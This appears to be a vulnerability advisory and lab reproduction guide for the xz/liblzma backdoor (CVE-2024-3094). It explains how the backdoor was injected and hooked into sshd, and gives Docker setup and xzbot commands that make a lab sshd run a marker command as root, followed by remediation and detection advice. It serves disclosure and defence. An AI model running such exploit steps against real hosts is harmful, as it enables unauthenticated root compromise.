Skip to content

CVE-2024-3094 — xz/liblzma Supply-Chain Backdoor (Unauthenticated Pre-Auth RCE as Root)

Published 2026-06-06

CVSS 10.0 — CRITICAL

An unauthenticated remote attacker can execute arbitrary commands as root on any SSH server loaded with the backdoored liblzma 5.6.0 or 5.6.1, without supplying any credentials. No user interaction is required.

Row Detail
Project xz-utils
Affected component liblzma (shared library, liblzma.so.5)
Severity CRITICAL
CVSS 10.0 (AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H) — CVSS 3.1
CWE CWE-506
Affected versions 5.6.0, 5.6.1 (from official release tarballs only — not from git)
Fixed version No patched 5.6.x was released; distributions rolled back to 5.4.6 (or equivalent safe release)
Advisory GHSA-rxwq-x6h5-x525

1. Vulnerability Overview

xz-utils is a widely used lossless data compression library and toolset; its shared library liblzma is a transitive runtime dependency of systemd and, on Debian/RPM distributions, of OpenSSH's sshd through the libsystemdliblzma linkage chain.

A threat actor operating under the name "Jia Tan" spent approximately two years building trust as a co-maintainer of the xz-utils project. In early 2024 that actor embedded a multi-stage supply-chain backdoor into the 5.6.0 and 5.6.1 release tarballs. The malicious code was never committed to the project's git repository; it was injected only into the distributed source archives.

The impact is unauthenticated remote code execution as root: an attacker with the matching ED448 private key can connect to the SSH port of any vulnerable host and cause sshd to run an arbitrary command as root before any authentication exchange completes. The connection is closed immediately after command execution, and no syslog entry at INFO level or above is generated.

Root cause: build-time injection followed by a runtime hook chain

Stage 1 — build-time injection (m4/build-to-host.m4, tarball only). The malicious M4 macro file, present in the tarball but absent from git, executed during ./configure. It ran a multi-stage bash pipeline that extracted an encrypted payload from disguised binary test files (tests/files/bad-3-corrupt_lzma2.xz and good-large_compressed.lzma), decrypted it, and appended link-time linker flags to src/liblzma/Makefile. Those flags caused a prebuilt malicious object file (liblzma_la-crc64-fast.o, also extracted from the test archive) to be compiled into the final liblzma.so. That object file is the entire binary backdoor; no source change to the compression code itself was needed.

Stage 2 — IFUNC resolver hijack (runtime, liblzma.so). glibc's IFUNC mechanism allows a shared library to register a resolver function that, on the first call to an indirect symbol, picks a CPU-optimised implementation. liblzma legitimately uses IFUNC for its CRC functions. The injected object replaced those resolver stubs:

  • crc32_resolve: increments an internal completion counter.
  • crc64_resolve: triggers the main backdoor body.

Because sshd is linked with -Wl,-z,now (full eager binding), both resolvers fire during ld.so relocation, before main() runs and before the GOT is sealed by -Wl,-z,relro. The backdoor's second-stage resolver validates several environment-variable gates (see §3), then walks the in-memory ELF structures of the running process and installs a symbind64 callback into _rtld_global_ro._dl_audit, hijacking glibc's rtld-audit interface without loading a separate audit .so.

Stage 3 — RSA_public_decrypt PLT redirect (runtime, OpenSSH sshd). When the dynamic linker subsequently resolves RSA_public_decrypt@plt for sshd, the injected audit callback fires and overwrites the GOT/PLT entry to point to the backdoor's own handler (Llzma_index_prealloc_0). This sits directly on the code path called by openssh_RSA_verify() in ssh-rsa.c during the pre-authentication public-key exchange. The replacement function checks whether the incoming RSA certificate carries a specially crafted 256-byte payload embedded in the modulus (N) field. If the ED448 signature on that payload validates against the hardcoded public key, the backdoor extracts and runs the embedded command via system() as root, then closes the connection. Legitimate connections are passed through to the real RSA_public_decrypt unchanged.


2. Vulnerable Environment

The reproduction environment is a single Docker container running debian:bookworm-slim (x86-64 / linux/amd64). Debian bookworm was chosen because it provides glibc 2.36 (not musl), a GNU userland built with GCC and GNU ld, and an openssh-server package whose sshd binary carries the systemd-notify patch that introduces the libsystemdliblzma dependency. The binary is also linked with -Wl,-z,now, satisfying the eager-binding precondition required by the IFUNC hook.

At image build time the Dockerfile fetches the genuine liblzma5_5.6.1-1_amd64.deb from the Debian snapshot archive by content hash, verifies the sha256 of the extracted liblzma.so.5.6.1 against the known backdoored binary (605861f833fc181c7cdcabd5577ddb8989bea332648a8f498b4eef89b8f85ad4), then runs env/config/patch_ed448.py (a dependency-free Python reimplementation of the canonical xzbot/patch.py) to substitute the hardcoded attacker ED448 public key with the known seed=0 test key. The resulting installed library carries sha256 ea7206ab4b0c3479ff1b478c8803adc9e7aeba243254a9f601b626ef8aa80e3d. The entrypoint script (env/config/entrypoint.sh) launches sshd with TERM, LD_DEBUG, and LD_PROFILE unset, LANG set, and the kill-switch variable yolAbejyiejuvnup explicitly absent, with argv[0] exactly /usr/sbin/sshd, satisfying all five IFUNC runtime gates simultaneously.

The sshd configuration (env/config/sshd_config) has PubkeyAuthentication yes and PermitRootLogin prohibit-password; no hardening override blocks the pre-auth RSA-certificate path, which is the only code path the backdoor hooks.

Download the full environment: env.zip

Individual files:

Bring up the environment:

cd <run_dir>
docker compose -f env/docker-compose.yml up -d --wait

Verify it is the vulnerable stack:

# Container is running and healthy
docker inspect cve-2024-3094-sshd --format 'status={{.State.Status}} health={{.State.Health.Status}}'
# expect: status=running health=healthy

# Backdoored + patched liblzma is mapped into the running sshd
docker exec cve-2024-3094-sshd sha256sum /usr/lib/x86_64-linux-gnu/liblzma.so.5.6.1
# expect: ea7206ab4b0c3479ff1b478c8803adc9e7aeba243254a9f601b626ef8aa80e3d

# liblzma is loaded in sshd's address space (PID 1 in the container)
docker exec cve-2024-3094-sshd sh -c 'grep -c liblzma /proc/1/maps'
# expect: a number > 0

# SSH port is reachable from the host
nc -z -w 3 127.0.0.1 2222 && echo open

The container exposes sshd on host port 127.0.0.1:2222 (mapped to container port 22). Within the compose network the service is reachable as cve-2024-3094-sshd:22.


3. How to Exploit

The exploit delivers a crafted SSH RSA certificate over an unauthenticated connection using xzbot, a Go client that formats the backdoor payload (an ED448-signed, ChaCha20-encrypted command) into the RSA certificate's modulus field and sends it on the pre-auth public-key path.

The vendored xzbot source and a prebuilt static binary (exploit/xzbot/xzbot, linux/amd64) are included. The orchestrating shell script exploit/run.sh handles everything: it verifies the target is reachable, builds xzbot from vendored source if the binary is absent, attaches a throwaway linux/amd64 container to the compose network, and runs the client against the target. The script performs no docker exec and writes nothing on the host; the marker is produced solely by the backdoor executing the delivered command inside sshd.

Download the full exploit bundle: exploit.zip

Individual files:

Step-by-step

Step 1. Confirm the target is listening:

nc -z -w 3 127.0.0.1 2222 && echo open

Step 2. Choose a marker path and a per-run nonce. The command echo $NONCE > $MARKER_PATH must be 64 characters or fewer (the backdoor's command buffer limit):

MARKER_PATH=/tmp/xzpoc_marker
NONCE=my-unique-nonce-$(date +%s)

Step 3. Confirm the marker does not yet exist (clean baseline):

docker exec cve-2024-3094-sshd sh -c 'ls -l '"$MARKER_PATH"' 2>&1'
# expect: "No such file or directory"

Step 4. Run the exploit:

bash exploit/run.sh "$MARKER_PATH" "$NONCE"

The client prints the crafted RSA certificate as a hex dump and then prints:

ssh: handshake failed: EOF

That EOF is the expected signal: the backdoor tears down the connection immediately after system() returns. The script exits without asserting success; confirmation is done out-of-band in the next step.

Step 5. Read the marker through an independent privileged channel, entirely separate from the exploit's network connection:

docker exec cve-2024-3094-sshd sh -c 'ls -l '"$MARKER_PATH"'; cat '"$MARKER_PATH"

What proves it worked. Success is confirmed by three independent checks performed via a privileged docker exec shell that the exploit does not control:

  1. The marker exists at the expected path (it was absent in the baseline check in Step 3).
  2. Its content equals the per-run nonce chosen in Step 2, ruling out any pre-planted file.
  3. The file is owned by root:root, proving the command ran inside sshd's privileged process context and not as any unprivileged side process.

This is exactly what was observed in the verified reproduction run:

# Baseline (before exploit)
docker exec cve-2024-3094-sshd sh -c 'ls -l /tmp/vrfy_1780230432_56521'
  -> ls: cannot access ...: No such file or directory   (EXIT=2)

# After exploit
docker exec cve-2024-3094-sshd sh -c 'ls -l /tmp/vrfy_1780230432_56521; cat /tmp/vrfy_1780230432_56521'
  -> -rw-r--r-- 1 root root 22 May 31 12:27 /tmp/vrfy_1780230432_56521
  -> vrfy-1780230432-24007

docker exec cve-2024-3094-sshd stat -c '%U:%G %n' /tmp/vrfy_1780230432_56521
  -> root:root /tmp/vrfy_1780230432_56521

The exploit connected to 127.0.0.1:2222, the backdoor fired, and the command echo vrfy-1780230432-24007 > /tmp/vrfy_1780230432_56521 ran as root with no authentication.

Configurable parameters (passed as environment variables to run.sh):

Variable Meaning Default
MARKER_PATH (arg 1) Absolute path in the target container where the marker is written /tmp/xzpoc_marker
NONCE (arg 2) Unique value written into the marker xzpoc-<epoch>-<pid>
TARGET_HOST Target hostname on the compose network cve-2024-3094-sshd
TARGET_PORT Target sshd port inside the compose network 22
NETWORK Docker network the client attaches to env_default
SEED ED448 seed matching the patched key 0

Teardown. When finished, stop and remove the container and its network:

docker compose -f env/docker-compose.yml down -v

4. Security Advice

Remediation

No patched 5.6.x release of xz-utils exists. All affected distributions issued advisories directing users to downgrade. Downgrade to xz-utils 5.4.6 (or the latest 5.4.x release in your distribution's repository) and rebuild any package that links liblzma. For Debian-based systems, follow the original Debian advisory for bookworm.

Verify the installed library version after downgrade:

dpkg -l xz-utils liblzma5

Mitigations and detection indicators

The following indicators and mitigations apply during the upgrade window:

  • Kill switch: setting the environment variable yolAbejyiejuvnup=Evjtgvsh5okmkAvj in sshd's environment prevents the IFUNC hook from completing. This is an emergency workaround only; it does not remove the malicious code from the library.
  • IFUNC gate conditions (any single one blocks activation): the backdoor does not fire if TERM is set, LD_DEBUG or LD_PROFILE is set, LANG is unset, argv[0] is not exactly /usr/sbin/sshd, or a software breakpoint is present on an entry point.
  • Honeypot detection (openssh.patch): the xzbot repository includes an OpenSSH source patch (openssh.patch) that logs any connection attempt whose RSA certificate N field carries the backdoor magic value. Applying this patch to a patched OpenSSH build reveals scan attempts.
  • Process tree corroboration: during the exploit window, ps -ef inside the sshd container may reveal a transient sh -c <cmd> child directly under the privileged sshd process without a corresponding authenticated user session.
  • Scope: only x86-64 Linux hosts using glibc (not musl), built with GCC/GNU ld, running a Debian- or RPM-patched sshd that carries the systemd-notify patch, are at risk. Alpine Linux (musl) and statically linked builds are not affected.

References

  • Andres Freund's original oss-security disclosure: runtime activation path, IFUNC resolver sequence, -Wl,-z,now significance, environment variable gate list, sshd preconditions.
  • NVD CVE-2024-3094: CWE-506, CVSS 10.0, affected versions 5.6.0/5.6.1, publication date 2024-03-29.
  • GHSA-rxwq-x6h5-x525: GitHub Security Advisory confirming affected versions and severity.
  • amlweems/xzbot: PoC exploit tool, ED448 patch script (patch.py), backdoor payload format documentation, openssh.patch honeypot showing the exact RSA_public_decrypt call site in openssh_RSA_verify.
  • Kaspersky Securelist: XZ Backdoor Story Part 1: rtld-audit hook mechanism, _rtld_global_ro._dl_audit modification, hooked OpenSSL symbols, systemd dependency chain, trie-based string obfuscation, kill-switch env var.
  • thesamesam/xz-backdoor FAQ: build requirements (Debian/RPM, GCC, x86-64, glibc), sshd dependency chain via libsystemd.
  • research.swtch.com xz timeline: Hans Jansen IFUNC commit (June 2023) used as hook entry point; Jia Tan social engineering timeline.
  • smx-smx detailed RE gist: IFUNC resolver internal symbol names, anti-debugger checks, check_software_breakpoint, check_return_address, RSA_public_decrypt PLT patching logic.